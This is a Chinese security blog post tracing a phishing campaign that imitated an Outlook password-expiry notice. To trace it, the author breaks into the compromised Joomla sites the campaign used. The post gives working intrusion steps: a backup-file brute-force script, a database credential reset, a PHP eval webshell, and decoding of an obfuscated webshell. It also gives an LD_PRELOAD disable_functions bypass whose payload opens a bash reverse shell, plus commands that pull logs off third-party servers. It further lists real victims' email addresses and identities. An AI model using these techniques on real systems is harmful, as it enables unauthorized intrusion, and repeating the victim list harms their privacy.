邮件钓鱼攻击与溯源

2019-02-14 232960人围观 ,发现 34 个不明物体 WEB安全漏洞

一、前言

近日朋友收到一封来自海外的钓鱼邮件委托我帮忙分析。因此我对钓鱼者身份和攻击路径进行了一次详细的溯源。大致摸清了攻击者组织身份、攻击手法以及动机。本次溯源工作主要是通过提取攻击者控制的肉鸡服务器、网站访问日志、攻击者后门特征等。关联分析这些日志和特征最终得到攻击者的身份信息。本文以流水账的方式详细记录整个溯源过程,包括分析手法和思路,以供安全研究人员参考。

二、信息收集

这是一封冒充 Microsoft Outlook WebApp 密码过期的钓鱼邮件。

邮件钓鱼攻击与溯源

2.1 邮件正文

  1. Received: from sysmailout1.platon.sk (unknown [85.248.228.17])
  2. by bizmx16.qq.com (NewMx) with SMTP id
  3. for <test@test.cn>; Thu, 29 Nov 2018 06:56:41 +0800
  4. X-QQ-SPAM: true
  5. X-QQ-FEAT: jfJxHuYZxOCSeMM7azx75jXNlqmrApsudtGuMpkas54ZAC17UV7M4b/R5+7i0
  6. PKMg4QGPsKjsZDM+XUXd0s8kb9W0jCArNfxa3+HTU9vKECwH9fbHyzA2+de0ctDM9+ziJ5w
  7. 1BJI2Ppc9DVh5DYSq8ySLhcBVRj6sBsJefxrSztWrgzKi58wWFCv7LPgqOAXS+VVMyVipbT
  8. fHFacZXmdB00T62nXv8xQociZvHE+8ELBoHVgcA3ZWA7p4no8o1e0Z8ShUvX2P5FwhvXPLZ
  9. QUg8HNiMhXk5NEtQVC0Y7R9JwKV2VeKybQbg==
  10. X-QQ-MAILINFO: Mms3jrkBGwMrz972clMUbgsPqZ0t5EGjrqWV2rMFcEfTT5Y9lunbPCtSM
  11. 4HaaK+iUBVTvuth5bvdEvVKkuiTcOnkJ0t3khnTYcRGfQmEIZI+ZrNXlT/8QxjWMjOsiHkK
  12. yGbgfv5Gx9Qr65abnNzXymg=
  13. X-QQ-mid: bizmx16t1543445804ti4ex7suw
  14. X-QQ-CSender: www-data@m7web1.platon.sk
  15. X-QQ-ORGSender: www-data@m7web1.platon.sk
  16. X-KK-mid:bizmxp6t1543445804t9ne878su
  17. Received: from m7web1.platon.sk (m7web1.platon.sk [85.248.229.150])
  18. by sysmailout1.platon.sk (Postfix) with ESMTP id 8EFCC217002E
  19. for <test@test.cn>; Wed, 28 Nov 2018 23:56:38 +0100 (CET)
  20. Received: by m7web1.platon.sk (Postfix, from userid 33)
  21. id 89364400A3A1; Wed, 28 Nov 2018 23:56:38 +0100 (CET)
  22. To: test@test.cn
  23. Subject: =?UTF-8?Q?Password_expiry_notice?=
  24. Date: Wed, 28 Nov 2018 23:56:38 +0100
  25. From: =?UTF-8?Q?Microsoft_Online_Services_Team?= <no-response@365.mirohaviar.sk>
  26. Message-ID: <0a9ee06dc11866565f0302302c647c7a@www.mirohaviar.sk>
  27. X-Priority: 3
  28. MIME-Version: 1.0
  29. Content-Transfer-Encoding: quoted-printable
  30. Content-Type: text/html; charset="us-ascii"
  31. 略...
  32. <br>The password for the Microsoft 365 account<span style=3D"font-weight: b=
  33. old;"> test@test.cn
  34. </span> has
  35. expired.<br>![mir-nc.png-57.1kB][2]
  36. <span class=3D"Apple-converted-space"></span><br>To protect your Microsoft =
  37. account, your existing password may cease to work
  38. shortly.<br>
  39. <br>
  40. You are now required to <span class=3D"Apple-converted-space"></span><a hre=
  41. f=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest@=
  42. test.cn
  43. "><span style=3D"font-weight: bold;">change
  44. your password</span></a>
  45. immediateIy.<span class=3D"Apple-converted-space"> <br>
  46. =2E</span><br>
  47. <a href=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest=@test.cn
  48. 略...

2.2 分析邮件内容

根据邮件内容得到的信息如下

钓鱼网站 
www.rosturplast.com137.74.81.5 法国 
钓鱼链接: 
http://www.rosturplast.com/shells/logon.secureaccess/?ml=test@test.cn 
发件地址 
no-response@365.mirohaviar.sk 
服务商 
Platon Technologies, s.r.o 斯洛伐克 
SMTP 
sysmailout1.platon.sk 85.248.228.17 斯洛伐克

三、渗透钓鱼网站

3.1 漏洞分析

目标网站www.rosturplast.com

访问钓鱼链接一个克隆OWA修改密码的的虚假页面我们按照正常流程走一遍密码随便输入。不出所料页面提示密码错误这么做可以收集受害者多个密码提高成功率仔细想想这个功能还是很贴心的。

Step 1 
邮件钓鱼攻击与溯源Step2

邮件钓鱼攻击与溯源

Step 2

邮件钓鱼攻击与溯源抓包如下 

注入、跨站之流都是不存在的。 

邮件钓鱼攻击与溯源

邮件钓鱼攻击与溯源

访问首页这是一家俄罗斯的塑料水管厂商攻击者入侵了这个网站放置了钓鱼页面再通过邮件传播。

邮件钓鱼攻击与溯源

端口扫描显示开放了一堆端口防火墙做了策略限制。

邮件钓鱼攻击与溯源

[+] HOST: www.rosturplast.com 137.74.81.5 法国 
[+] OS: Red Hat 4.8 
[+] Web Server: Apache/2.4.6 OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 
[+] CMS: Joomla 3.3.3 Joomla!是一套海外流行的建站系统基于PHP+MySQL开发

这是一个低版本的Joomla!,joomscan扫描显示受害网站有一堆漏洞看起来弱不禁风Getshell指日可待。 

邮件钓鱼攻击与溯源

扫描发现PHPMailer RCE漏洞不过需要邮件发送表单功能才能利用这一堆漏洞里面看起来唯一有机会的是CVE-2016-9838Joomla! Core Remote Privilege Escalation Vulnerability然而经过测试攻击者丧心病狂贴心的把用户注册页面删除了堵住了漏洞导致无法利用。 

邮件钓鱼攻击与溯源

机智的我此时毫无办法开始挂字典整合Joomla目录盲扫备份文件最后发现目标存在PhpMyAdmin后台和一个报错页面页面显示了网站绝对路径和疑似以日期格式生成的网站备份的文件名。

/var/www/rosturpl/data/www/rosturplast.com/rosturplast.com.2015-11-11.zip

3.2 陷入僵局

尝试下载这个文件http响应404。看了一下同站有多个站点但旁站渗透是个体力活国外这种典型的CloudLinux+cPanel的架构不好提权。到这一步陷入了僵局睡个午觉养养神下午继续研究。

wget http://www.rosturplast.com/rosturplast.com.2015-11-11.zip 错误 404Not Found

3.3 后台提权

不到万不得已不从旁站和C段入手稍加思索根据报错页面的备份文件名格式生成日期文件尝试遍历日期下载碰碰运气。

脚本内容

  1. #!/bin/bash
  2. startdate=`date -d "+0 day $1" +%Y%m%d`
  3. enddate=`date -d "+0 day $2" +%Y%m%d`
  4. while [[ $startdate -le $enddate ]]
  5. do
  6. date=$startdate
  7. startdateother=`date -d "+0 day $date" +%Y-%m-%d`
  8. dateother=$startdateother
  9. url=http://www.rosturplast.com/rosturplast.com.$dateother.zip
  10. echo "$url"
  11. startdate=`date -d "+1 day $date" +%Y-%m-%d`
  12. startdateother=`date -d "+1 day $date" +%Y-%m-%d`
  13. wget $url
  14. done

脚本大概跑了一个下午当到达2017-08-07的时候响应200状态码看到rosturplast.com.2017-08-07.zip的文件大小为177M 感觉成了解压后果然是整站备份果然是柳暗花明又一shell。

邮件钓鱼攻击与溯源邮件钓鱼攻击与溯源

查看配置文件configuration.php得到数据库连接信息登录PhpMyAdmin后台。低权限无法直接写shell只能修改默认密码登录Joomla!后台。

  1. public $dbtype = 'mysqli';
  2. public $host = 'localhost';
  3. public $user = 'user***'; //敏感信息打码
  4. public $password = 'K********6759'; //敏感信息打码
  5. public $db = 'rtp_com3';
  6. public $dbprefix = 'ms8ef_';
  7. public $live_site = '';
  8. public $secret = '5qp******4zU'; //敏感信息打码    

邮件钓鱼攻击与溯源邮件钓鱼攻击与溯源

备份原始密文以备还原将后台密码修改为 test123456XYZ

  1. http://www.rosturplast.com/administrator/
  2. admin / test123456XYZ

邮件钓鱼攻击与溯源

登录后台通过模板写入WebShell

Extensions —> Template Manager —> Template —> New Files —> PHP WebSehll

邮件钓鱼攻击与溯源

这里写入了PHP一句话WebShell通过Cknifejava版中国菜刀对网站进行控制。

  1. <?php @eval($_POST['cmd']);?>

邮件钓鱼攻击与溯源

查看攻击者的钓鱼文件目录user.txt 详细记录了上钩的受害者信息

邮件钓鱼攻击与溯源

3.4 日志分析

将网站文件和访问日志下载到本地分析

  1. [/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/log.tar.gz /var/www/rosturpl/data/access-logs /var/www/rosturpl/data/logs/rosturplast*
  2. [/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/www.tar.gz --exclude=/var/www/rosturpl/data/www/rosturplast.com/www.tar.gz /var/www/rosturpl/data/www/rosturplast.com/
  3. wget -c http://www.rosturplast.com/log.tar.gz && wget -c http://www.rosturplast.com/www.tar.gz
  4. root@kali /tmp gzip -d *.gz
  5. root@kali /tmp ls -lh
  6. 总用量 22M
  7. -rw-r----- 1 48 6313 392K 11 30 16:19 rosturplast.com.access.log
  8. -rw-r----- 1 48 6313 418K 11 21 08:08 rosturplast.com.access.log-20181121
  9. -rw-r----- 1 48 6313 315K 11 22 08:27 rosturplast.com.access.log-20181122
  10. -rw-r----- 1 48 6313 367K 11 23 08:08 rosturplast.com.access.log-20181123
  11. -rw-r----- 1 48 6313 332K 11 24 08:20 rosturplast.com.access.log-20181124
  12. -rw-r----- 1 48 6313 394K 11 25 08:30 rosturplast.com.access.log-20181125
  13. -rw-r----- 1 48 6313 217K 11 26 08:27 rosturplast.com.access.log-20181126
  14. -rw-r----- 1 48 6313 338K 11 27 08:07 rosturplast.com.access.log-20181127
  15. -rw-r----- 1 48 6313 1.8M 11 28 08:35 rosturplast.com.access.log-20181128
  16. -rw-r----- 1 48 6313 2.3M 11 29 08:38 rosturplast.com.access.log-20181129
  17. -rw-r----- 1 48 6313 6.4M 11 30 08:38 rosturplast.com.access.log-20181130
  18. -rw-rw---- 1 48 6313 267K 11 30 16:00 rosturplast.com.error.log
  19. -rw-rw---- 1 48 6313 3.8K 11 21 03:44 rosturplast.com.error.log-20181121
  20. -rw-rw---- 1 48 6313 1.9K 11 21 14:43 rosturplast.com.error.log-20181122
  21. -rw-rw---- 1 48 6313 1.9K 11 23 02:30 rosturplast.com.error.log-20181123
  22. -rw-rw---- 1 48 6313 5.0K 11 24 01:46 rosturplast.com.error.log-20181124
  23. -rw-rw---- 1 48 6313 8.3K 11 25 02:07 rosturplast.com.error.log-20181125
  24. -rw-rw---- 1 48 6313 2.3K 11 26 05:05 rosturplast.com.error.log-20181126
  25. -rw-rw---- 1 48 6313 4.1K 11 27 05:34 rosturplast.com.error.log-20181127
  26. -rw-rw---- 1 48 6313 550K 11 28 08:35 rosturplast.com.error.log-20181128
  27. -rw-rw---- 1 48 6313 6.5M 11 29 07:51 rosturplast.com.error.log-20181129
  28. -rw-rw---- 1 48 6313 1.4M 11 30 08:38 rosturplast.com.error.log-20181130

用D盾扫网站文件发现这个网站已成跑马场。 
邮件钓鱼攻击与溯源

攻击者在shells/目录下放置钓鱼文件和PHP后门。 邮件钓鱼攻击与溯源

查看哪些IP访问了后门并统计次数

查询攻击者IP地址

  1. root@kali /tmp/rosturplast.com/log grep "/shells/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt
  2. 26 174.85.145.99
  3. 20 50.73.252.169
  4. 10 213.233.104.120
  5. 2 207.228.149.69
  6. 2 195.211.23.207
  7. 2 129.205.113.8

  1. root@kali /tmp/rosturplast.com/log for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; done
  2. IP: 174.85.145.99 来自: 美国
  3. IP: 50.73.252.169 来自: 美国
  4. IP: 213.233.104.120 来自: 罗马尼亚
  5. IP: 207.228.149.69 来自: 百慕大
  6. IP: 195.211.23.207 来自: 俄罗斯
  7. IP: 129.205.113.8 来自: 尼日利亚

根据后门文件名匹配Apache访问日志得到攻击者的代理IP和User Agent

  1. root@kali /tmp grep "/shells" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq
  2. 129.205.113.8 - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
  3. 174.85.145.99 - - [27/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
  4. 207.228.149.69 - - [28/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
  5. 213.233.104.120 - - [27/Nov/2018//www.rosturplast.com/shells//bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv
  6. 50.73.252.169 - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

通过日志匹配邮箱并去重得到受害者邮箱地址

  1. egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' * | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml=" '{print $2}' |sort |uniq

  1. root@kali /tmp egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' * | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml=" '{print $2}' |sort |uniq
  2. alexsin54@yahoo.com //攻击者邮箱
  3. clavenda.payman@lbdi.net //利比亚发展投行CFO
  4. dennis@rayfields.co.za //域名失效
  5. georges.raad@nera.net //新加坡IT基础设施提供商员工
  6. gthakkar@sscinc.com //美国SS&C Technologies, Inc. 印度分公司
  7. jasonchowan223@gmail.com //攻击者邮箱
  8. ******@******.com //同事
  9. jiajie.lim@cimb.com //马来西亚联昌国际银行员工
  10. kohchinbeng@bdo.com.sg //新加坡立信会计师事务所员工
  11. mayfaithlee@hotmail.com //未知
  12. philip@beekoo.hk //深圳市很有蜂格网络科技有限公司CEO
  13. Point72.IR@sscinc.com //美国SS&C Technologies, Inc.
  14. shunweicapital@sscinc.com //美国SS&C Technologies, Inc.疑似顺为资本
  15. url@email.com //无效

3.5 受害者身份识别

通过搜索引擎对这15个受害者邮箱进行身份识别。

3.5.1 alexsin54@yahoo.com / jasonchowan223@gmail.com

alexsin54@yahoo.com-欺è¯è´¦æ·.png

alexsin54@yahoo.com-欺诈账户2.png

3.5.2 clavenda.payman@lbdi.net

Mrs. Clavenda O. PAYMAN 利比亚发展投行Liberian Bank forDevelopment and nvestment首席财务官 

来源:https://www.adfi-ci.org/downloads/telecharger.php?Fichier_a_telecharger=files/aadfi_doc_en_20130623170205.pdf&chemin=&id=91  

邮件钓鱼攻击与溯源

3.5.3 georges.raad@nera.net

疑似新加坡 Nera Telecommunications LtdIT基础设施提供商公司员工 
来源http://www.nera.net/about-us.html

3.5.4 gthakkar@sscinc.com

美国SS&C Technologies, Inc. & 印度金融服务公司 Globeop Financial Services Technologies (India) Private Limited 
来源https://www.instafinancials.com/company/globeop-financial-services-india-private-limited/U67100MH2003PTC141044

来源 http://www.seepz.gov.in/writereaddatafolder/Regional%20Governing%20Council%20of%20EPCES%20for%202016-18.pdf 

邮件钓鱼攻击与溯源

3.5.5 jiajie.lim@cimb.com

马来西亚联昌国际银行员工CIMB Group 
来源https://www.cimb.com/en/who-we-are.html

3.5.6 kohchinbeng@bdo.com.sg

KOH CHIN BENG 新加坡立信会计师事务所员工

来源https://www.bdo.com.sg/en-gb/our-people/koh-chin-beng 

邮件钓鱼攻击与溯源

3.5.7 philip@beekoo.hk

深圳市很有蜂格网络科技有限公司 CEO 

来源https://m.zhipin.com/job_detail/1407383492.html 

来源https://www.tianyancha.com/company/2349004659 

邮件钓鱼攻击与溯源

四、渗透邮件发送网站

目标mirohaviar.sk 这是一个博客网站

4.1 漏洞扫描

服务器信息如下:

[+] HOST: mirohaviar.sk85.248.229.150 斯洛伐克 

[+] OS: Debian 7 

[+] Web Server:Apache/2.2.22 PHP/5.2.6-1+lenny16 

[+] CMS: Joomla 1.5 

邮件钓鱼攻击与溯源

邮件钓鱼攻击与溯源CMS漏洞扫描得到图示的漏洞信息经过测试全部无法利用其他端口也没有发现可以利用的的漏洞看来攻击者也是一个勤奋的同学入侵成功后做了相应的修复和加固看起来毫无办法好像只能旁站或者C段渗透了。

然而有人的地方就有江湖有黑客入侵过的网站一定有后门。这类利用通用漏洞批量入侵的黑客团伙后门文件一般都有特征我根据前一个网站获得的php后门文件名列表批量访问当前网站得到了三个相同的后门文件。

邮件钓鱼攻击与溯源

  1. root@kali /tmp/rosturplast.com/webroot/shells md5sum *
  2. 724e7316427151ea1f449f38a28f642c 406.php
  3. 3e8a7cf7049e8b9ab8dfca7d3c827c4a aaaa
  4. aaf775b99997c166ff45677806d809de an.php
  5. e5c06f1f66781ba5c39d909096c4cd47 a.txt
  6. f71ad06982064b125d155b6f601198b8 bacu.php
  7. f2d7553b97d8e0a0258e48c3ca42a7d2 baer.php
  8. c01a0691c484a8d00977a100d8706b50 cfg.php
  9. e5c06f1f66781ba5c39d909096c4cd47 config.php
  10. md5sum: logon.secureaccess: 是一个目录
  11. 983ba05973b84e33e76916ca0dabedec new2bug.txt
  12. 1c014f955a67974dc779100c13162f1a priv8.php
  13. 2a73dda7ebb3b8d1c0d094b79623e9ff setup.php
  14. 80b5dadd0a9856f1e6d950843140d24e switch-security.php
  15. 48f50fb676028e0ae82f3f2db4e26247 unzipper.php
  16. 51f0bba7ec30b8778dca19ead016a58f webapp365.zip
  17. 58d1d66c0be0739319156702522b1b52 wso.php

相同文件名如下:

  1. http://www.mirohaviar.sk/config.php
  2. http://www.mirohaviar.sk/an.php
  3. http://www.mirohaviar.sk/bacu.php Pro Mailer V2

其中 http://www.mirohaviar.sk/config.php 是攻击者的加密WebShell理论上只需解密获得密码就能登录这个后门。

4.2 解密WebShell

解密过程如下:

  1. awk -F "\"" '{print $2}' config.php
  2. //去除头尾多余字符得到base64密文。

  1. awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\'
  2. //第一次base64解码得到16进制密文

  1. awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p
  2. //第二次hex解码得到base64密文

  1. awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}'
  2. //第三次base64解码得到base64密文

  1. awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}'
  2. //第四次base64解码得到base64密文

  1. awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i
  2. //第五次base64解码得到明文

邮件钓鱼攻击与溯源

得到后门密码hashMD5解密后得到明文: root 饶了个大弯原来是个弱口令下次遇到这类先跑一下密码

  1. $auth_pass = "63a9f0ea7bb98050796b649e85481845";  

邮件钓鱼攻击与溯源

这个后门有点皮做了UserAgent判断我浏览器默认设置的UA是Googlebot访问显示404这是反搜索引擎爬虫的惯用手段所以我换了个正常浏览器的UA访问得到正常页面。

  1. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  2. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  3. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  4. header('HTTP/1.0 404 Not Found');
  5. exit;
  6. }
  7. }

邮件钓鱼攻击与溯源

4.3 提权

通过webshell得到了具体系统信息下一步尝试提权目的是获得Apache的web访问日志。

4.3.1 突破 disable_functions

邮件钓鱼攻击与溯源

测试发现目标限制跨目录open_basedir并禁用了命令执行函数导致WebShell权限下无法跨目录访问也无法执行命令。

  1. disable_functions escapeshellarg,escapeshellcmd,exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system,popen,pcntl_exec
  2. open_basedir /storage/www/mirohaviar.sk/:/storage/www-include/:/usr/share/php5/:/usr/share/file/:/usr/share/pear/:/tmp/

邮件钓鱼攻击与溯源

突破的手段很多这里我利用LD_PRELOAD动态链接来劫持php的mail函数突破disable_functions执行系统命令。

查看sendmail函数在执行过程中动态调用哪些标准库函数。

  1. www-data@m7web1:/tmp$ readelf -Ws /usr/sbin/sendmail
  2. Symbol table '.dynsym' contains 420 entries:
  3. Num: Value Size Type Bind Vis Ndx Name
  4. 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
  5. 1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __printf_chk@GLIBC_2.3.4 (2)
  6. 2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getegid@GLIBC_2.2.5 (3)
  7. 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dane_raw_tlsa@DANE_0_0 (4)
  8. 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_ocsp_resp_print@GNUTLS_3_4 (5)
  9. 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_x509_crt_get_serial@GNUTLS_3_4 (5)
  10. 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (3)
  11. 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_db_set_cache_expiration@GNUTLS_3_4 (5)
  12. 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sendto@GLIBC_2.2.5 (3)
  13. ......
  14. 76: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getuid@GLIBC_2.2.5 (3)
  15. 77: 0000000000000000 0 FUNC GLOBAL DEFAULT UND send@GLIBC_2.2.5 (3)

从中选取geteuid函数进行测试编写动态链接程序bypass.c

  1. #include<stdlib.h>
  2. #include <stdio.h>
  3. #include<string.h>
  4. void payload() {
  5. system("bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/999 0>&1");
  6. }
  7. int geteuid() {
  8. if(getenv("LD_PRELOAD") == NULL) { return 0; }
  9. unsetenv("LD_PRELOAD");
  10. payload();
  11. }

当这个共享库中的geteuid被调用时尝试加载payload()函数执行命令调用system执行一个反弹shell的操作xxx.xxx.xxx.xxx即是我的公网服务器IP

编译

  1. gcc -c -fPIC bypass.c -o bypass
  2. gcc -shared bypass.c -o bypass.so

上传

  1. www-data@m7web1:/tmp$ cat b64.txt|base64 -d >bypass.so
  2. www-data@m7web1:/tmp$ file bypass.so
  3. file bypass.so
  4. bypass.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV)

执行

bypass.php

  1. <?php
  2. putenv("LD_PRELOAD=/tmp/bypass.so");
  3. mail("test@localhost","","","","");
  4. ?>

浏览器访问http://www.mirohaviar.sk/bypass.php页面后成功执行命令得到了一个www-user权限的反弹shell。

邮件钓鱼攻击与溯源

4.3.2 发现行踪

仔细看这是一家斯洛伐克的网络公司这台服务器上面托管了五百多个网站当前的权限可以访问这些网站的文件和数据库令人遗憾的的是apache日志目录/var/log/apache2/无权限访问。

邮件钓鱼攻击与溯源

不过我在/tmp目录下面发现了一个有趣的日志文件。

  1. [/tmp/]$cat w
  2. --2018-11-26 04:49:06-- http://187.85.134.4/cacat/mm.tgz
  3. Connecting to 187.85.134.4:80... connected.
  4. HTTP request sent, awaiting response... 200 OK
  5. Length: 769309 (751K) [application/x-gzip]
  6. Saving to: 'mm.tgz'
  7. 0K .......... .......... .......... .......... .......... 6% 174K 4s
  8. 50K .......... .......... .......... .......... .......... 13% 176K 4s
  9. 100K .......... .......... .......... .......... .......... 19% 14.1M 2s
  10. 150K .......... .......... .......... .......... .......... 26% 353K 2s
  11. 200K .......... .......... .......... .......... .......... 33% 353K 2s
  12. 250K .......... .......... .......... .......... .......... 39% 19.8M 1s
  13. 300K .......... .......... .......... .......... .......... 46% 355K 1s
  14. 350K .......... .......... .......... .......... .......... 53% 28.7M 1s
  15. 400K .......... .......... .......... .......... .......... 59% 23.6M 1s
  16. 450K .......... .......... .......... .......... .......... 66% 344K 1s
  17. 500K .......... .......... .......... .......... .......... 73% 18.0M 0s
  18. 550K .......... .......... .......... .......... .......... 79% 360K 0s
  19. 600K .......... .......... .......... .......... .......... 86% 20.4M 0s
  20. 650K .......... .......... .......... .......... .......... 93% 20.2M 0s
  21. 700K .......... .......... .......... .......... .......... 99% 12.7M 0s
  22. 750K . 100% 2438G=1.3s
  23. 2018-11-26 04:49:10 (577 KB/s) - 'mm.tgz' saved [769309/769309]

4.4 追踪

根据泄露日志使用谷歌搜索关键字http://187.85.134.4发现了一个历史页面。 
邮件钓鱼攻击与溯源

邮件钓鱼攻击与溯源

这是一个已经被删除的后门页面刚好被谷歌爬虫收录了进一步搜索一下这个后门参数的关键字 

inurl:bc.php?filesrc=得到了多条后门记录。 

邮件钓鱼攻击与溯源其中多个WebShell缓存页面内容跟上一个被黑网站的临时目录中发现的日志内容吻合疑似自动化攻击留下的日志WebShell底部署名Muslim Cyber Corp - Mujahidin Cyber Army - Family Attack Cyber  表明后门均为这个黑客组织所有。 

邮件钓鱼攻击与溯源进一步搜索这个黑客组织名称发现大量被黑网站程序使用Wordpress与Joomla居多。 

邮件钓鱼攻击与溯源邮件钓鱼攻击与溯源 邮件钓鱼攻击与溯源

邮件钓鱼攻击与溯源

邮件钓鱼攻击与溯源 4.5 提取日志

我提取了其中几个被入侵网站的访问日志。

4.5.1 网站www.radiolanalhue.cl

打包

  1. tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz
  2. --exclude=/home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz /home/radiolanalhue/public_html/
  3. tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.log.tar.gz /home/radiolanalhue/logs/radiolanalhue.cl-ssl_log-Nov-2018.gz /home/radiolanalhue/access-logs/ /home/radiolanalhue/access-logs/radiolanalhue.cl

下载

  1. wget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.tar.gz
  2. wget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.log.tar.gz

分析

  1. 根据后门文件名匹配Apache访问日志到攻击者代理IPUser Agent
  2. root@kali /tmp/radiolanalhue.cl/log/ grep "/beez5/" radiolanalhue.cl-Dec-2018
  3. 疑似攻击者代理IP
  4. 212.1.211.3 美国 - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
  5. 谷歌爬虫
  6. 66.249.66.149 - - [01/Dec/2018:00:53:57 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
  7. 66.249.66.151 - - [01/Dec/2018:06:34:34 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/favicon.ico&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 2348 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
  8. 66.249.66.153 - - [01/Dec/2018:06:51:46 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/component.php&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 5456 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

4.5.2 网站zebramedia.al

打包

  1. tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz --exclude=/home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz /home/vayqpdvg/zebramedia.al/
  2. tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-log.tar.gz /home/vayqpdvg/logs

下载

  1. wget http://zebramedia.al/zebramedia.al-log.tar.gz
  2. wget http://zebramedia.al/zebramedia.al-www.tar.gz
  3. -rw-r--r-- 1 1365 1328 478714 11 30 21:15 evropakrijuese.publik.live-Nov-2018.gz
  4. -rw-r--r-- 1 1365 1328 6463 11 30 21:15 evropakrijuese.publik.live-ssl_log-Nov-2018.gz
  5. -rw-r--r-- 1 1365 1328 1855430 6 30 2018 ftp.publik.live-ftp_log-Jun-2018.gz
  6. -rw-r--r-- 1 1365 1328 7899 11 27 21:12 ftp.publik.live-ftp_log-Nov-2018.gz
  7. -rw-r--r-- 1 1365 1328 22883767 11 30 21:15 ief.publik.live-Nov-2018.gz
  8. -rw-r--r-- 1 1365 1328 67526 11 30 21:15 ief.publik.live-ssl_log-Nov-2018.gz
  9. -rw-r--r-- 1 1365 1328 68187 11 30 21:15 instadyqan.publik.live-Nov-2018.gz
  10. -rw-r--r-- 1 1365 1328 34530 11 30 21:15 instadyqan.publik.live-ssl_log-Nov-2018.gz
